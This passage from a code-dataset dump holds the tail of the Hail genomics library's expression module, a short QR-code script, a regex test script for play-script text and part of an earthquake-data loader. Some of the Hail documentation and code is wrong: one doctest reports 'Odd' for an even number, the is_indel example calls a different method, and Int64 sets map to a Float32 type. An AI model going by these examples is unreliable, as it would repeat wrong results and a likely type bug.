(``\\\\\\\\``).\n\n Parameters\n ----------\n delim : str or :class:`StringExpression`\n Delimiter regex.\n n : :class:`Int32Expression`, optional\n Maximum number of splits.\n\n Returns\n -------\n :class:`ArrayExpression`\n Array of split strings.\n \"\"\"\n if n is None:\n return self._method(\"split\", TArray(TString()), delim)\n else:\n return self._method(\"split\", TArray(TString()), delim, n)\n\n @typecheck_method(regex=strlike)\n def matches(self, regex):\n \"\"\"Returns ``True`` if the string contains any match for the given regex.\n\n Examples\n --------\n\n >>> string = functions.capture('NA12878')\n\n The `regex` parameter does not need to match the entire string:\n\n .. doctest::\n\n >>> eval_expr(string.matches('12'))\n True\n\n Regex motifs can be used to match sequences of characters:\n\n .. doctest::\n\n >>> eval_expr(string.matches(r'NA\\\\\\\\d+'))\n True\n\n Notes\n -----\n The `regex` argument is a\n `regular expression `__,\n and uses\n `Java regex syntax `__.\n\n Parameters\n ----------\n regex: :obj:`str`\n Pattern to match.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the string contains any match for the regex, otherwise ``False``.\n \"\"\"\n return construct_expr(RegexMatch(self._ast, regex), TBoolean(),\n self._indices, self._aggregations, self._joins, self._refs)\n\n\nclass CallExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TCall`.\n\n >>> call = functions.capture(Call(1))\n \"\"\"\n @property\n def gt(self):\n \"\"\"Returns the triangle number of :py:meth:`Call.gtj` and :py:meth:`Call.gtk`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.gt)\n 1\n\n Returns\n -------\n :class:`Int32Expression`\n Triangle number of the two alleles.\n \"\"\"\n return self._field(\"gt\", TInt32())\n\n def gtj(self):\n \"\"\"Returns the allele index of the first allele.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.gtj())\n 0\n\n Returns\n -------\n :class:`Int32Expression`\n First allele index.\n \"\"\"\n return self._method(\"gtj\", TInt32())\n\n def gtk(self):\n \"\"\"Returns the allele index of the second allele.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.gtk())\n 1\n\n Returns\n -------\n :class:`Int32Expression`\n Second allele index.\n \"\"\"\n return self._method(\"gtk\", TInt32())\n\n def is_non_ref(self):\n \"\"\"Evaluate whether the call includes one or more non-reference alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_non_ref())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if at least one allele is non-reference, ``False`` otherwise.\n \"\"\"\n return self._method(\"isNonRef\", TBoolean())\n\n def is_het(self):\n \"\"\"Evaluate whether the call includes two different alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_het())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the two alleles are different, ``False`` if they are the same.\n \"\"\"\n return self._method(\"isHet\", TBoolean())\n\n def is_het_nonref(self):\n \"\"\"Evaluate whether the call includes two different alleles, neither of which is reference.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_het_nonref())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the call includes two different alternate alleles, ``False`` otherwise.\n \"\"\"\n return self._method(\"isHetNonRef\", TBoolean())\n\n def is_het_ref(self):\n \"\"\"Evaluate whether the call includes two different alleles, one of which is reference.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_het_ref())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the call includes one reference and one alternate allele, ``False`` otherwise.\n \"\"\"\n return self._method(\"isHetRef\", TBoolean())\n\n def is_hom_ref(self):\n \"\"\"Evaluate whether the call includes two reference alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_hom_ref())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the call includes two reference alleles, ``False`` otherwise.\n \"\"\"\n return self._method(\"isHomRef\", TBoolean())\n\n def is_hom_var(self):\n \"\"\"Evaluate whether the call includes two identical alternate alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.is_hom_var())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the call includes two identical alternate alleles, ``False`` otherwise.\n \"\"\"\n return self._method(\"isHomVar\", TBoolean())\n\n def num_alt_alleles(self):\n \"\"\"Returns the number of non-reference alleles (0, 1, or 2).\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.num_alt_alleles())\n 1\n\n Returns\n -------\n :class:`Int32Expression`\n The number of non-reference alleles (0, 1, or 2).\n \"\"\"\n return self._method(\"nNonRefAlleles\", TInt32())\n\n @typecheck_method(v=expr_variant)\n def one_hot_alleles(self, v):\n \"\"\"Returns an array containing the summed one-hot encoding of the two alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.one_hot_alleles(Variant('1', 1, 'A', 'T')))\n [1, 1]\n\n This one-hot representation is the positional sum of the one-hot\n encoding for each called allele. For a biallelic variant, the one-hot\n encoding for a reference allele is ``[1, 0]`` and the one-hot encoding\n for an alternate allele is ``[0, 1]``. Diploid calls would produce the\n following arrays: ``[2, 0]`` for homozygous reference, ``[1, 1]`` for\n heterozygous, and ``[0, 2]`` for homozygous alternate.\n\n Parameters\n ----------\n v : :class:`hail.genetics.Variant` or :class:`VariantExpression`\n Variant, used to determine the number of possible alleles.\n\n Returns\n -------\n :class:`ArrayInt32Expression`\n An array of summed one-hot encodings of allele indices.\n \"\"\"\n return self._method(\"oneHotAlleles\", TArray(TInt32()), v)\n\n @typecheck_method(v=expr_variant)\n def one_hot_genotype(self, v):\n \"\"\"Returns the triangle number of the genotype one-hot encoded into an integer array.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(call.one_hot_genotype(Variant('1', 1, 'A', 'T')))\n [0, 1, 0]\n\n A one-hot encoding uses a vector to represent categorical data, like a\n genotype call, by using an array with one ``1`` and many ``0`` s. In\n this case, the array will have a ``1`` at the position of the triangle\n number of the genotype (:py:meth:`Call.gt`).\n\n This is useful for manipulating counts of categorical variables.\n\n Parameters\n ----------\n v : :class:`hail.genetics.Variant` or :class:`VariantExpression`\n Variant, used to determine the number of possible alleles.\n Returns\n -------\n :class:`ArrayInt32Expression`\n An array with a one-hot encoding of the call.\n \"\"\"\n return self._method(\"oneHotGenotype\", TArray(TInt32()), v)\n\n\nclass LocusExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TLocus`.\n\n >>> locus = functions.capture(Locus('1', 100))\n \"\"\"\n @property\n def contig(self):\n \"\"\"Returns the chromosome.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(locus.contig)\n '1'\n\n Returns\n -------\n :class:`StringExpression`\n The chromosome for this locus.\n \"\"\"\n return self._field(\"contig\", TString())\n\n @property\n def position(self):\n \"\"\"Returns the position along the chromosome.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(locus.position)\n 100\n\n Returns\n -------\n :class:`Int32Expression`\n This locus's position along its chromosome.\n \"\"\"\n return self._field(\"position\", TInt32())\n\n\nclass IntervalExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TInterval`.\n\n >>> interval = functions.capture(Interval.parse('X:1M-2M'))\n \"\"\"\n @typecheck_method(locus=expr_locus)\n def contains(self, locus):\n \"\"\"Tests whether a locus is contained in the interval.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(interval.contains(Locus('X', 3000000)))\n False\n\n >>> eval_expr(interval.contains(Locus('X', 1500000)))\n True\n\n Parameters\n ----------\n locus : :class:`hail.genetics.Locus` or :class:`LocusExpression`\n Locus to test for interval membership.\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if `locus` is contained in the interval, ``False`` otherwise.\n \"\"\"\n locus = to_expr(locus)\n if self._type.point_type != locus._type:\n raise TypeError('expected {}, found: {}'.format(self._type.point_type, locus._type))\n return self._method(\"contains\", TBoolean(), locus)\n\n @property\n def end(self):\n \"\"\"Returns the end locus.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(interval.end)\n Locus(contig=X, position=2000000, reference_genome=GRCh37)\n\n Returns\n -------\n :class:`LocusExpression`\n End locus.\n \"\"\"\n return self._field(\"end\", TLocus())\n\n @property\n def start(self):\n \"\"\"Returns the start locus.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(interval.start)\n Locus(contig=X, position=1000000, reference_genome=GRCh37)\n\n Returns\n -------\n :class:`LocusExpression`\n Start locus.\n \"\"\"\n return self._field(\"start\", TLocus())\n\n\nclass AltAlleleExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TAltAllele`.\n\n >>> altallele = functions.capture(AltAllele('A', 'AAA'))\n \"\"\"\n @property\n def alt(self):\n \"\"\"Returns the alternate allele string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.alt)\n 'AAA'\n\n Returns\n -------\n :class:`StringExpression`\n Alternate base string.\n \"\"\"\n return self._field(\"alt\", TString())\n\n @property\n def ref(self):\n \"\"\"Returns the reference allele string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.ref)\n 'A'\n\n Returns\n -------\n :class:`StringExpression`\n Reference base string.\n \"\"\"\n return self._field(\"ref\", TString())\n\n def category(self):\n \"\"\"Returns the string representation of the alternate allele class.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.category())\n 'Insertion'\n\n Returns\n -------\n :class:`StringExpression`\n One of ``\"SNP\"``, ``\"MNP\"``, ``\"Insertion\"``, ``\"Deletion\"``, ``\"Star\"``, ``\"Complex\"``.\n \"\"\"\n return self._method(\"category\", TString())\n\n def is_complex(self):\n \"\"\"Returns ``True`` if the polymorphism is not a SNP, MNP, star, insertion, or deletion.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_complex())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the allele is a complex event.\n \"\"\"\n return self._method(\"isComplex\", TBoolean())\n\n def is_deletion(self):\n \"\"\"Returns ``True`` if the polymorphism is a deletion.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_deletion())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a a deletion.\n \"\"\"\n return self._method(\"isDeletion\", TBoolean())\n\n def is_indel(self):\n \"\"\"Returns ``True`` if the polymorphism is an insertion or deletion.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_insertion())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is an insertion or deletion.\n \"\"\"\n return self._method(\"isIndel\", TBoolean())\n\n def is_insertion(self):\n \"\"\"Returns ``True`` if the polymorphism is an insertion.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_insertion())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is an insertion.\n \"\"\"\n return self._method(\"isInsertion\", TBoolean())\n\n def is_mnp(self):\n \"\"\"Returns ``True`` if the polymorphism is a MNP.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_mnp())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a multiple nucleotide polymorphism.\n \"\"\"\n return self._method(\"isMNP\", TBoolean())\n\n def is_snp(self):\n \"\"\"Returns ``True`` if the polymorphism is a SNP.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_snp())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a single nucleotide polymorphism.\n \"\"\"\n return self._method(\"isSNP\", TBoolean())\n\n def is_star(self):\n \"\"\"Returns ``True`` if the polymorphism is a star (upstream deletion) allele.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_star())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a star (upstream deletion) allele.\n \"\"\"\n return self._method(\"isStar\", TBoolean())\n\n def is_transition(self):\n \"\"\"Returns ``True`` if the polymorphism is a transition SNP.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_transition())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a SNP and a transition.\n \"\"\"\n return self._method(\"isTransition\", TBoolean())\n\n def is_transversion(self):\n \"\"\"Returns ``True`` if the polymorphism is a transversion SNP.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(altallele.is_transversion())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the event is a SNP and a transversion.\n \"\"\"\n return self._method(\"isTransversion\", TBoolean())\n\n\nclass VariantExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TVariant`.\n\n >>> variant = functions.capture(Variant('16', 123055, 'A', 'C'))\n \"\"\"\n def alt(self):\n \"\"\"Returns the alternate allele string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.alt())\n 'C'\n\n Warning\n -------\n Assumes biallelic. If the variant is multiallelic, throws an error.\n\n Returns\n -------\n :class:`StringExpression`\n Alternate allele base string.\n \"\"\"\n return self._method(\"alt\", TString())\n\n def alt_allele(self):\n \"\"\"Returns the alternate allele.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.alt_allele())\n AltAllele(ref='A', alt='C')\n\n Warning\n -------\n Assumes biallelic. If the variant is multiallelic, throws an error.\n\n Returns\n -------\n :class:`AltAlleleExpression`\n Alternate allele.\n \"\"\"\n return self._method(\"altAllele\", TAltAllele())\n\n @property\n def alt_alleles(self):\n \"\"\"Returns the alternate alleles in the polymorphism.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.alt_alleles)\n [AltAllele(ref='A', alt='C')]\n\n Returns\n -------\n :class:`ArrayExpression` with element type :class:`AltAlleleExpression`\n Alternate alleles.\n \"\"\"\n return self._field(\"altAlleles\", TArray(TAltAllele()))\n\n @property\n def contig(self):\n \"\"\"Returns the chromosome.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.contig)\n '16'\n\n Returns\n -------\n :class:`StringExpression`\n Contig.\n \"\"\"\n return self._field(\"contig\", TString())\n\n def in_x_nonpar(self):\n \"\"\"Returns ``True`` if the polymorphism is in a non-pseudoautosomal region of chromosome X.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.in_x_nonpar())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant is found in a non-pseudoautosomal region of chromosome X.\n \"\"\"\n return self._method(\"inXNonPar\", TBoolean())\n\n def in_x_par(self):\n \"\"\"Returns ``True`` if the polymorphism is in the pseudoautosomal region of chromosome X.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.in_x_par())\n False\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant is found in a pseudoautosomal region of chromosome X.\n \"\"\"\n return self._method(\"inXPar\", TBoolean())\n\n def in_y_nonpar(self):\n \"\"\"Returns ``True`` if the polymorphism is in a non-pseudoautosomal region of chromosome Y.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.in_y_nonpar())\n False\n\n Note\n ----\n Many variant callers only generate variants on chromosome X for the\n pseudoautosomal region. In this case, all variants mapped to chromosome\n Y are non-pseudoautosomal.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant is found in a non-pseudoautosomal region of chromosome Y.\n \"\"\"\n return self._method(\"inYNonPar\", TBoolean())\n\n def in_y_par(self):\n \"\"\"Returns ``True`` if the polymorphism is in a pseudoautosomal region of chromosome Y.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.in_y_par())\n False\n\n Note\n ----\n Many variant callers only generate variants on chromosome X for the\n pseudoautosomal region. In this case, all variants mapped to chromosome\n Y are non-pseudoautosomal.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant is found in a pseudoautosomal region of chromosome Y.\n \"\"\"\n return self._method(\"inYPar\", TBoolean())\n\n def is_autosomal(self):\n \"\"\"Returns ``True`` if the polymorphism is found on an autosome.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.is_autosomal())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant is found on an autosome.\n \"\"\"\n return self._method(\"isAutosomal\", TBoolean())\n\n def is_biallelic(self):\n \"\"\"Returns ``True`` if there is only one alternate allele.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.is_biallelic())\n True\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the variant has only one alternate allele.\n \"\"\"\n return self._method(\"isBiallelic\", TBoolean())\n\n def locus(self):\n \"\"\"Returns the locus at which the polymorphism occurs.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.locus())\n Locus(contig=16, position=123055, reference_genome=GRCh37)\n\n Returns\n -------\n :class:`LocusExpression`\n Locus associated with this variant.\n \"\"\"\n return self._method(\"locus\", TLocus())\n\n def num_alleles(self):\n \"\"\"Returns the number of alleles in the polymorphism, including the reference.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.num_alleles())\n 2\n\n Returns\n -------\n :class:`Int32Expression`\n Total number of alleles, including the reference.\n \"\"\"\n return self._method(\"nAlleles\", TInt32())\n\n def num_alt_alleles(self):\n \"\"\"Returns the number of alleles in the polymorphism, excluding the reference.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.num_alt_alleles())\n 1\n\n Returns\n -------\n :class:`Int32Expression`\n Total number of non-reference alleles.\n \"\"\"\n return self._method(\"nAltAlleles\", TInt32())\n\n def num_genotypes(self):\n \"\"\"Returns the number of possible genotypes given the number of total alleles.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.num_genotypes())\n 3\n\n Returns\n -------\n :class:`Int32Expression`\n Total number of possible diploid genotype configurations.\n \"\"\"\n return self._method(\"nGenotypes\", TInt32())\n\n @property\n def ref(self):\n \"\"\"Returns the reference allele string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.ref)\n 'A'\n\n Returns\n -------\n :class:`StringExpression`\n Reference base string.\n \"\"\"\n return self._field(\"ref\", TString())\n\n @property\n def start(self):\n \"\"\"Returns the chromosomal position of the polymorphism.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(variant.start)\n 123055\n\n Returns\n -------\n :class:`Int32Expression`\n \"\"\"\n return self._field(\"start\", TInt32())\n\n\ntyp_to_expr = {\n TBoolean: BooleanExpression,\n TInt32: Int32Expression,\n TInt64: Int64Expression,\n TFloat64: Float64Expression,\n TFloat32: Float32Expression,\n TLocus: LocusExpression,\n TInterval: IntervalExpression,\n TVariant: VariantExpression,\n TCall: CallExpression,\n TAltAllele: AltAlleleExpression,\n TString: StringExpression,\n TDict: DictExpression,\n TArray: ArrayExpression,\n TSet: SetExpression,\n TStruct: StructExpression\n}\n\nelt_typ_to_array_expr = {\n TInt32: ArrayInt32Expression,\n TFloat64: ArrayFloat64Expression,\n TInt64: ArrayInt64Expression,\n TFloat32: ArrayFloat32Expression,\n TString: ArrayStringExpression,\n TStruct: ArrayStructExpression,\n TArray: ArrayArrayExpression\n}\n\nelt_typ_to_set_expr = {\n TInt32: SetInt32Expression,\n TFloat64: SetFloat64Expression,\n TFloat32: SetFloat32Expression,\n TInt64: SetFloat32Expression,\n TString: SetStringExpression,\n TSet: SetSetExpression\n}\n\n\nclass ExpressionException(Exception):\n def __init__(self, msg=''):\n self.msg = msg\n super(ExpressionException, self).__init__(msg)\n\n\nclass ExpressionWarning(Warning):\n def __init__(self, msg=''):\n self.msg = msg\n super(ExpressionWarning, self).__init__(msg)\n\n\n@typecheck(caller=strlike, expr=Expression,\n expected_indices=Indices,\n aggregation_axes=setof(strlike))\ndef analyze(caller, expr, expected_indices, aggregation_axes=set()):\n indices = expr._indices\n source = indices.source\n axes = indices.axes\n aggregations = expr._aggregations\n refs = expr._refs\n\n warnings = []\n errors = []\n\n expected_source = expected_indices.source\n expected_axes = expected_indices.axes\n\n if source is not None and source is not expected_source:\n errors.append(\n ExpressionException('{} expects an expression from source {}, found expression derived from {}'.format(\n caller, expected_source, source\n )))\n\n # check for stray indices by subtracting expected axes from observed\n unexpected_axes = axes - expected_axes\n\n if unexpected_axes:\n # one or more out-of-scope fields\n assert len(refs) > 0\n bad_refs = []\n for name, inds in refs:\n bad_axes = inds.axes.intersection(unexpected_axes)\n if bad_axes:\n bad_refs.append((name, inds))\n\n assert len(bad_refs) > 0\n errors.append(ExpressionException(\n \"scope violation: '{caller}' expects an expression indexed by {expected}\"\n \"\\n Found indices {axes}, with unexpected indices {stray}. Invalid fields:{fields}{agg}\".format(\n caller=caller,\n expected=list(expected_axes),\n axes=list(indices.axes),\n stray=list(unexpected_axes),\n fields=''.join(\"\\n '{}' (indices {})\".format(name, list(inds.axes)) for name, inds in bad_refs),\n agg='' if (unexpected_axes - aggregation_axes) else\n \"\\n '{}' supports aggregation over axes {}, \"\n \"so these fields may appear inside an aggregator function.\".format(caller, list(aggregation_axes))\n )))\n\n if aggregations:\n if aggregation_axes:\n\n # the expected axes of aggregated expressions are the expected axes + axes aggregated over\n expected_agg_axes = expected_axes.union(aggregation_axes)\n\n for agg in aggregations:\n agg_indices = agg.indices\n agg_axes = agg_indices.axes\n if agg_indices.source is not None and agg_indices.source is not expected_source:\n errors.append(\n ExpressionException(\n 'Expected an expression from source {}, found expression derived from {}'\n '\\n Invalid fields: [{}]'.format(\n expected_source, source, ', '.join(\"'{}'\".format(name) for name, _ in agg.refs)\n )))\n\n # check for stray indices\n unexpected_agg_axes = agg_axes - expected_agg_axes\n if unexpected_agg_axes:\n # one or more out-of-scope fields\n bad_refs = []\n for name, inds in agg.refs:\n bad_axes = inds.axes.intersection(unexpected_agg_axes)\n if bad_axes:\n bad_refs.append((name, inds))\n\n errors.append(ExpressionException(\n \"scope violation: '{caller}' supports aggregation over indices {expected}\"\n \"\\n Found indices {axes}, with unexpected indices {stray}. Invalid fields:{fields}\".format(\n caller=caller,\n expected=list(aggregation_axes),\n axes=list(agg_axes),\n stray=list(unexpected_agg_axes),\n fields=''.join(\"\\n '{}' (indices {})\".format(\n name, list(inds.axes)) for name, inds in bad_refs)\n )\n ))\n else:\n errors.append(ExpressionException(\"'{}' does not support aggregation\".format(caller)))\n\n for w in warnings:\n warn('{}'.format(w.msg))\n if errors:\n for e in errors:\n error('{}'.format(e.msg))\n raise errors[0]\n\n\n@typecheck(expression=expr_any)\ndef eval_expr(expression):\n \"\"\"Evaluate a Hail expression, returning the result.\n\n This method is extremely useful for learning about Hail expressions and understanding\n how to compose them.\n\n Expressions that refer to fields of :class:`hail.api2.Table` or :class:`hail.api.MatrixTable`\n objects cannot be evaluated.\n\n Examples\n --------\n Evaluate a conditional:\n\n .. doctest::\n\n >>> x = 6\n >>> eval_expr(functions.cond(x % 2 == 0, 'Even', 'Odd'))\n 'Even'\n\n Parameters\n ----------\n expression : :class:`hail.expr.expression.Expression`\n Any expression, or a Python value that can be implicitly interpreted as an expression.\n\n Returns\n -------\n any\n Result of evaluating `expression`.\n \"\"\"\n return eval_expr_typed(expression)[0]\n\n\n@typecheck(expression=expr_any)\ndef eval_expr_typed(expression):\n \"\"\"Evaluate a Hail expression, returning the result and the type of the result.\n\n This method is extremely useful for learning about Hail expressions and understanding\n how to compose them.\n\n Expressions that refer to fields of :class:`hail.api2.Table` or :class:`hail.api.MatrixTable`\n objects cannot be evaluated.\n\n Examples\n --------\n Evaluate a conditional:\n\n .. doctest::\n\n >>> x = 6\n >>> eval_expr_typed(functions.cond(x % 2 == 0, 'Even', 'Odd'))\n ('Odd', TString())\n\n Parameters\n ----------\n expression : :class:`hail.expr.expression.Expression`\n Any expression, or a Python value that can be implicitly interpreted as an expression.\n\n Returns\n -------\n (any, :class:`hail.expr.Type`)\n Result of evaluating `expression`, and its type.\n \"\"\"\n analyze('eval_expr_typed', expression, Indices())\n if not expression._joins.empty():\n raise ExpressionException(\"'eval_expr' methods do not support joins or broadcasts\")\n r, t = Env.hc().eval_expr_typed(expression._ast.to_hql())\n return r, t\n\n\n_lazy_int32.set(Int32Expression)\n_lazy_numeric.set(NumericExpression)\n_lazy_array.set(ArrayExpression)\n_lazy_set.set(SetExpression)\n_lazy_bool.set(BooleanExpression)\n_lazy_struct.set(StructExpression)\n_lazy_string.set(StringExpression)\n_lazy_variant.set(VariantExpression)\n_lazy_locus.set(LocusExpression)\n_lazy_altallele.set(AltAlleleExpression)\n_lazy_interval.set(IntervalExpression)\n_lazy_call.set(CallExpression)\n_lazy_expr.set(Expression)\n","sub_path":"python/hail/expr/expression.py","file_name":"expression.py","file_ext":"py","file_size_in_byte":106717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"350780306","text":"# Import QRCode from pyqrcode\nimport pyqrcode\nimport png\n\n# String which represents the QR code\nurl = \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\"\n\n# Variable conatining link\nurl = \"https://www.youtube.com/watch?v=choF2JRgjHY\"\n\n# Generating QR code\nqrcode = pyqrcode.create(url)\n\n# Create and save the png file naming \"myqr.png\"\nqrcode.png('MustScan.png', scale = 6)\n\n# Create and save the png file\nqrcode.png('QRCODE.png', scale = 6)\n\n","sub_path":"QR.py","file_name":"QR.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"223093062","text":"import re\nline = \"::'''Herr Guld''' (kunnt hinte-n-ine hintersi un schint ebbes z'bschaüe duss).\"\nline1 = \"::'''Herr Kalt.'''\"\nline2 = \"Ich mag noch so nogeh un nolüege, 's hilft alles nit meh!\"\n\nline3 = \"::'''Herr Guld''' (fir sich).\"\nline4 =\"Wie schön as se doch g'wachse-n-isch!\"\n\nregex = r'()(.+)()'\n\nreg_parenthesis = r\"\\(([^)]+)\\)\"\nre_obj = re.compile(reg_parenthesis)\nmatch = re_obj.search(line)\nprint(match)\nprint(match.group())\n# print(match.groups())\n\n\nreg_name = r\"(\\'\\'\\')([^\\']+)(\\'\\'\\')\"\nre_name = re.compile(reg_name)\na = re_name.search(line)\nprint(a.groups())\nprint(a.group(2))\nprint(\"\\nNew stuff\")\nreg_start_line = r\"\\:\\:\"\nmatch = re.match(reg_start_line,line1)\nif match:\n print(re.search(regex, line1).group())\n\n\nt1 = \"::'''Pierrot, Domino.'''\"\nt2 = \"::'''Pierrot''' (no-n-em Nachtesse im Restaurant).\"\nt3 = \"'s isch Zit glaüb, liewer Domino,\"\nt4 = \"== I. Uftritt. ==\"\nt5 = \"::(er b'schaüt's g'naüer)\"\nt6 = \"\"\nt7 = \"{{ImDruckVerbergen|[[Datei:ALustig SämtlicheWerke ZweiterBand page724 725.pdf|thumb|724 - 725]]}}\"\n\nseveral_chars = re.compile(r\"::\\'\\'\\'([^,]+,[^,]+)\\'\\'\\'\")\nact = re.compile(r\"==\\s(.+)\\s==\")\nsingle_char = re.compile(r\"::\\'\\'\\'([^']+)\\'\\'\\'\\s*\"\n r\"(\\([^)]+\\))\\.*\")\nstage_line = r\"[:]*(\\([^)]+\\))\"\nline = r\"[\\:]*([^(<:]+)\"\nre_page = r\"{{.+page(\\d+\\s\\d+)\\.pdf.+]]}}\"\nm = re.match(re_page, t7)\nif m:\n print(m.group(1))\n\n","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"425948667","text":"import os\nimport pandas as pd\nimport numpy as np\n\nclass DataLoader:\n '''\n Splits the raw dataset into windowed chunks of data. Also helps to easily load the chunks into memory\n '''\n def __init__(self, read_chunk_size=20000000, window_size=150000, step=50000, raw_data_path='../input/train.csv', window_data_path='./'):\n '''\n :param int read_chunk_size: The number of sample to read from the raw input in every chunk\n :param int window_size: Number of samples in a single window of data\n :param int step: Step to shift when splitting into windows\n :param str raw_data_path: The path to the raw data\n :param str window_data_path: The path of the dir to place the files with windowed data\n '''\n self.read_chunk_size = read_chunk_size\n self.window_size = window_size\n self.step = step\n self.raw_data_path = raw_data_path\n self.window_data_path = window_data_path\n self.mem = None\n\n def onlineGenerator(self, time_to_failure_dtype=np.float32):\n '''\n Instead of saving splits to memory, this function creates a generator that yields batches in an online way. This\n should prevent loading all data into memory at the same time.\n :return: X, y.\n :rtype: (numpy.array), (numpy.array)\n '''\n data_iterator = pd.read_csv(self.raw_data_path, iterator=True, chunksize=self.read_chunk_size,\n dtype={'acoustic_data': np.int16, 'time_to_failure': time_to_failure_dtype})\n # get features by iterating over all chunks\n for chunk in data_iterator:\n ind_range = np.arange(chunk.shape[0]-self.window_size+1, step=self.step)[:, None]\n indexer = np.arange(self.window_size)[None, :] + ind_range\n X = chunk.acoustic_data.values\n X = X[indexer]\n y = chunk.time_to_failure.values\n y = y[ind_range].flatten()\n yield X, y\n\n def _splitRawChunk(self, index):\n print('Loading data from {} to {}'.format(index*self.read_chunk_size, (index+1)*self.read_chunk_size))\n # Load part of the file\n raw = pd.read_csv(self.raw_data_path, nrows=self.read_chunk_size, skiprows=index*self.read_chunk_size+1, names=['acoustic_data', 'time_to_failure'], dtype={'acoustic_data': np.int16, 'time_to_failure': np.float32})\n\n # Use memory\n if (self.mem is not None) and (index > 0):\n raw = pd.concat([self.mem,raw],axis=0)\n self.mem = raw.tail(self.window_size-1)\n\n # Get features\n ind_range = np.arange(raw.shape[0]-self.window_size+1, step=self.step)[:, None]\n indexer = np.arange(self.window_size)[None, :] + ind_range\n X = raw['acoustic_data'].values\n X = X[indexer]\n y = raw['time_to_failure'].values\n y = y[ind_range].flatten()\n\n return X, y\n\n def splitRaw(self):\n '''\n Splits the original trainset into smaller files of overlapping windows.\n Saves the files in the window_data_path in the format X_{i}.csv and y_{i}.csvself.\n 